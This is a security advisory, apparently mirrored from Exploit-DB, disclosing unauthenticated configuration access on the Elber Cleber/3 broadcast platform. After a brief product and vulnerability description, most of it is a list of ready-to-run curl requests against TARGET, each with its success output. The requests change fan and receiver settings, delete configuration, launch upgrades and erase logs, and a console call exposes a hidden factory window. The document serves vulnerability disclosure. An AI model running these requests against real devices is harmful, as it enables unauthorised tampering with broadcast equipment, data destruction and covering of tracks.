Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 – Device Config Disclosure

  • 作者: LiquidWorm
    日期: 2024-05-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/52005/
  • Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Device Config
    
    
    Vendor: Elber S.r.l.
    Product web page: https://www.elber.it
    Affected version: 1.0.0 Revision 7304
    1.0.0 Revision 7284
    1.0.0 Revision 6505
    1.0.0 Revision 6332
    1.0.0 Revision 6258
    XS2DAB v1.50 rev 6267
    
    Summary: Cleber offers a powerful, flexible and modular hardware and
    software platform for broadcasting and contribution networks where
    customers can install up to six boards with no limitations in terms
    of position or number. Based on a Linux embedded OS, it detects the
    presence of the boards and shows the related control interface to the
    user, either through web GUI and Touchscreen TFT display. Power supply
    can be single (AC and/or DC) or dual (hot swappable for redundancy);
    customer may chose between two ranges for DC sources, that is 22-65
    or 10-36 Vdc for site or DSNG applications.
    
    Desc: The device suffers from an unauthenticated device configuration and
    client-side hidden functionality disclosure.
    
    Tested on: NBFM Controller
     embOS/IP
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2024-5817
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5817.php
    
    
    18.08.2023
    
    --
    
    
    # Config fan
    $ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='
    Configuration applied
    
    # Delete config
    $ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
    File delete successfully
    
    # Launch upgrade
    $ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
    Upgrade launched Successfully
    
    # Log erase
    $ curl 'http://TARGET/json_data/erase_log.js?until=-2'
    Logs erased
    
    # Until:
    # =0 ALL
    # =-2 Yesterday
    # =-8 Last week
    # =-15 Last two weeks
    # =-22 Last three weeks
    # =-31 Last month
    
    # Set RX config
    $ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
    RX Config Applied Successfully
    
    # Show factory window and FPGA upload (Console)
    > cleber_show_factory_wnd()
    
    # Etc.